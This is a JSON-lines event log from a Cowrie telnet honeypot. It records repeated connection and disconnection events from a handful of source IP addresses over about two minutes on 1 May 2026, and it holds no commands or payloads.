{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52053,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4cd6ffcc5d","protocol":"telnet","message":"New connection: 164.68.118.26:52053 (10.17.0.5:23) [session: ca4cd6ffcc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:19.901939Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53120,"dst_ip":"10.17.0.5","dst_port":23,"session":"5737df9db596","protocol":"telnet","message":"New connection: 164.68.118.26:53120 (10.17.0.5:23) [session: 5737df9db596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:20.137034Z"}
{"eventid":"cowrie.session.closed","duration":31.04314422607422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:21.752690Z","src_ip":"31.186.173.44","session":"92a35d80b982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192262411117554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:22.245386Z","src_ip":"164.68.118.26","session":"f886a5af2d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575631380081177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:23.058570Z","src_ip":"164.68.118.26","session":"86130613055e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05060577392578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:23.129141Z","src_ip":"164.68.118.26","session":"56be2620ee3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70892858505249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:24.066334Z","src_ip":"164.68.118.26","session":"5cffd57abfb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56003033c4d","protocol":"telnet","message":"New connection: 164.68.118.26:43764 (10.17.0.5:23) [session: b56003033c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:24.933450Z"}
{"eventid":"cowrie.session.closed","duration":31.064685344696045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:26.819648Z","src_ip":"164.68.118.26","session":"c903ce03feaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54040,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c1f3c03e23","protocol":"telnet","message":"New connection: 164.68.118.26:54040 (10.17.0.5:23) [session: e0c1f3c03e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:28.668479Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b075461ba16d","protocol":"telnet","message":"New connection: 164.68.118.26:40178 (10.17.0.5:23) [session: b075461ba16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:31.655726Z"}
{"eventid":"cowrie.session.closed","duration":30.24140429496765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:33.120235Z","src_ip":"164.68.118.26","session":"1369c7828084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48324,"dst_ip":"10.17.0.5","dst_port":23,"session":"6458ce632227","protocol":"telnet","message":"New connection: 164.68.118.26:48324 (10.17.0.5:23) [session: 6458ce632227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:33.737100Z"}
{"eventid":"cowrie.session.closed","duration":31.35758686065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:35.359404Z","src_ip":"173.198.194.106","session":"d8f3a986d0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.368741035461426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:35.364967Z","src_ip":"173.198.194.106","session":"86a300b0400f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55772,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3774e246857","protocol":"telnet","message":"New connection: 164.68.118.26:55772 (10.17.0.5:23) [session: c3774e246857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:35.569110Z"}
{"eventid":"cowrie.session.closed","duration":30.593213319778442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:35.801738Z","src_ip":"31.186.173.44","session":"b5dee043a4a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13966393470764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:36.211216Z","src_ip":"45.63.42.31","session":"9a44090d3814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38aeaa7ced5","protocol":"telnet","message":"New connection: 164.68.118.26:34608 (10.17.0.5:23) [session: e38aeaa7ced5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:37.428207Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.75.240.229","src_port":2215,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8469d352fb2","protocol":"telnet","message":"New connection: 177.75.240.229:2215 (10.17.0.5:23) [session: e8469d352fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:40.291269Z"}
{"eventid":"cowrie.session.closed","duration":30.817987203598022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:40.551749Z","src_ip":"164.68.118.26","session":"0542b77a227e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46622,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd434940c457","protocol":"telnet","message":"New connection: 164.68.118.26:46622 (10.17.0.5:23) [session: bd434940c457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:40.608794Z"}
{"eventid":"cowrie.session.closed","duration":31.83233880996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:40.842359Z","src_ip":"164.68.118.26","session":"3cf42ca28ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2802836894989,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:41.063716Z","src_ip":"164.68.118.26","session":"fa3272bb19db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":58985,"dst_ip":"10.17.0.5","dst_port":23,"session":"e275d4b479dd","protocol":"telnet","message":"New connection: 31.186.173.44:58985 (10.17.0.5:23) [session: e275d4b479dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:43.614518Z"}
{"eventid":"cowrie.session.closed","duration":31.244521379470825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:44.830220Z","src_ip":"173.198.194.106","session":"8e81f5497ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":59548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be98dbd9db4","protocol":"telnet","message":"New connection: 31.186.173.44:59548 (10.17.0.5:23) [session: 8be98dbd9db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:46.194879Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":59659,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1e14ac0ca4","protocol":"telnet","message":"New connection: 31.186.173.44:59659 (10.17.0.5:23) [session: 0b1e14ac0ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:46.782972Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38940,"dst_ip":"10.17.0.5","dst_port":23,"session":"361c47dce1e6","protocol":"telnet","message":"New connection: 164.68.118.26:38940 (10.17.0.5:23) [session: 361c47dce1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:46.900355Z"}
{"eventid":"cowrie.session.closed","duration":31.216830015182495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:47.561407Z","src_ip":"164.68.118.26","session":"1118b6741788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66937255859375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:49.826776Z","src_ip":"31.186.173.44","session":"48e668baf193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37220,"dst_ip":"10.17.0.5","dst_port":23,"session":"c677bc012e57","protocol":"telnet","message":"New connection: 45.63.42.31:37220 (10.17.0.5:23) [session: c677bc012e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:50.111165Z"}
{"eventid":"cowrie.session.closed","duration":30.357842683792114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:50.259652Z","src_ip":"164.68.118.26","session":"ca4cd6ffcc5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645706176757812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:51.782624Z","src_ip":"164.68.118.26","session":"5737df9db596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.825573921203613,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:54.116693Z","src_ip":"177.75.240.229","session":"e8469d352fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.364352226257324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:55.297699Z","src_ip":"164.68.118.26","session":"b56003033c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51144,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c80df6cab3","protocol":"telnet","message":"New connection: 164.68.118.26:51144 (10.17.0.5:23) [session: 76c80df6cab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:56.761141Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cefe4909c62","protocol":"telnet","message":"New connection: 164.68.118.26:54078 (10.17.0.5:23) [session: 5cefe4909c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:57.660935Z"}
{"eventid":"cowrie.session.closed","duration":30.3956561088562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:59.064041Z","src_ip":"164.68.118.26","session":"e0c1f3c03e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554242610931396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:02.209846Z","src_ip":"164.68.118.26","session":"b075461ba16d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":34850,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b62ded0ef27","protocol":"telnet","message":"New connection: 31.186.173.44:34850 (10.17.0.5:23) [session: 2b62ded0ef27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:02.930764Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34642,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e5bb1059af","protocol":"telnet","message":"New connection: 45.63.42.31:34642 (10.17.0.5:23) [session: 68e5bb1059af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:03.594397Z"}
{"eventid":"cowrie.session.closed","duration":30.32887601852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:04.065884Z","src_ip":"164.68.118.26","session":"6458ce632227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60998,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ab2508d2f8","protocol":"telnet","message":"New connection: 45.63.42.31:60998 (10.17.0.5:23) [session: 36ab2508d2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:04.597615Z"}
{"eventid":"cowrie.session.closed","duration":30.61043667793274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:06.179419Z","src_ip":"164.68.118.26","session":"c3774e246857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039953470230103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:08.467675Z","src_ip":"164.68.118.26","session":"e38aeaa7ced5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54594,"dst_ip":"10.17.0.5","dst_port":23,"session":"086c3a9ea978","protocol":"telnet","message":"New connection: 103.115.172.252:54594 (10.17.0.5:23) [session: 086c3a9ea978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:09.822978Z"}
{"eventid":"cowrie.session.closed","duration":30.74532437324524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:11.354008Z","src_ip":"164.68.118.26","session":"bd434940c457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39122176170349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:14.005641Z","src_ip":"31.186.173.44","session":"e275d4b479dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.502079248428345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:17.696854Z","src_ip":"31.186.173.44","session":"8be98dbd9db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983006715774536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:17.765872Z","src_ip":"31.186.173.44","session":"0b1e14ac0ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154839277267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:18.055083Z","src_ip":"164.68.118.26","session":"361c47dce1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":38410,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f33fce14858","protocol":"telnet","message":"New connection: 31.186.173.44:38410 (10.17.0.5:23) [session: 1f33fce14858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:18.580788Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36772,"dst_ip":"10.17.0.5","dst_port":23,"session":"50bc44cafd1b","protocol":"telnet","message":"New connection: 45.63.42.31:36772 (10.17.0.5:23) [session: 50bc44cafd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:22.434234Z"}
{"eventid":"cowrie.session.closed","duration":35.30455303192139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:25.415616Z","src_ip":"45.63.42.31","session":"c677bc012e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":40259,"dst_ip":"10.17.0.5","dst_port":23,"session":"f832808ab013","protocol":"telnet","message":"New connection: 31.186.173.44:40259 (10.17.0.5:23) [session: f832808ab013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:26.450240Z"}
{"eventid":"cowrie.session.closed","duration":31.263218879699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:28.024249Z","src_ip":"164.68.118.26","session":"76c80df6cab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51179575920105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:28.172606Z","src_ip":"164.68.118.26","session":"5cefe4909c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba033039c41","protocol":"telnet","message":"New connection: 103.115.172.252:33818 (10.17.0.5:23) [session: bba033039c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:31.163029Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":41436,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdea8bc4fad1","protocol":"telnet","message":"New connection: 31.186.173.44:41436 (10.17.0.5:23) [session: bdea8bc4fad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:32.203044Z"}
{"eventid":"cowrie.session.closed","duration":30.906870126724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:33.837356Z","src_ip":"31.186.173.44","session":"2b62ded0ef27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b877e15796e5","protocol":"telnet","message":"New connection: 164.68.118.26:52818 (10.17.0.5:23) [session: b877e15796e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:34.023159Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":42046,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f38e2a178b","protocol":"telnet","message":"New connection: 31.186.173.44:42046 (10.17.0.5:23) [session: 57f38e2a178b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:34.643728Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3578f0b6d5f","protocol":"telnet","message":"New connection: 31.186.173.44:42384 (10.17.0.5:23) [session: b3578f0b6d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:36.035475Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"5461d4d0885a","protocol":"telnet","message":"New connection: 31.186.173.44:42644 (10.17.0.5:23) [session: 5461d4d0885a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:37.228369Z"}
{"eventid":"cowrie.session.closed","duration":34.25475335121155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:37.849026Z","src_ip":"45.63.42.31","session":"68e5bb1059af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":43232,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0905cff9f4","protocol":"telnet","message":"New connection: 31.186.173.44:43232 (10.17.0.5:23) [session: 4f0905cff9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:39.963588Z"}
{"eventid":"cowrie.session.closed","duration":37.28898525238037,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:41.886460Z","src_ip":"45.63.42.31","session":"36ab2508d2f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":44289,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f8eda4382d","protocol":"telnet","message":"New connection: 31.186.173.44:44289 (10.17.0.5:23) [session: 82f8eda4382d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:43.882524Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37148,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a05a586d909","protocol":"telnet","message":"New connection: 164.68.118.26:37148 (10.17.0.5:23) [session: 9a05a586d909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:45.038939Z"}
{"eventid":"cowrie.session.closed","duration":37.88356852531433,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:47.706409Z","src_ip":"103.115.172.252","session":"086c3a9ea978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":45487,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc6c2f00762a","protocol":"telnet","message":"New connection: 31.186.173.44:45487 (10.17.0.5:23) [session: cc6c2f00762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:48.682580Z"}
{"eventid":"cowrie.session.closed","duration":30.40118932723999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:48.981876Z","src_ip":"31.186.173.44","session":"1f33fce14858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":45897,"dst_ip":"10.17.0.5","dst_port":23,"session":"e553d17b8d4f","protocol":"telnet","message":"New connection: 31.186.173.44:45897 (10.17.0.5:23) [session: e553d17b8d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:50.133228Z"}
{"eventid":"cowrie.session.closed","duration":30.297054052352905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:56.747145Z","src_ip":"31.186.173.44","session":"f832808ab013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":48121,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5feff782b8c","protocol":"telnet","message":"New connection: 31.186.173.44:48121 (10.17.0.5:23) [session: e5feff782b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:58.299881Z"}
{"eventid":"cowrie.session.closed","duration":35.98716378211975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:58.421265Z","src_ip":"45.63.42.31","session":"50bc44cafd1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":48233,"dst_ip":"10.17.0.5","dst_port":23,"session":"527279c72450","protocol":"telnet","message":"New connection: 31.186.173.44:48233 (10.17.0.5:23) [session: 527279c72450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:58.787483Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":48401,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94304cfe631","protocol":"telnet","message":"New connection: 31.186.173.44:48401 (10.17.0.5:23) [session: f94304cfe631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:08:59.342907Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":48832,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fb42ed230d1","protocol":"telnet","message":"New connection: 31.186.173.44:48832 (10.17.0.5:23) [session: 9fb42ed230d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:00.858351Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":49142,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a912e0804d","protocol":"telnet","message":"New connection: 31.186.173.44:49142 (10.17.0.5:23) [session: 98a912e0804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:01.948715Z"}
{"eventid":"cowrie.session.closed","duration":30.627598524093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:02.830553Z","src_ip":"31.186.173.44","session":"bdea8bc4fad1","protocol":"telnet"}
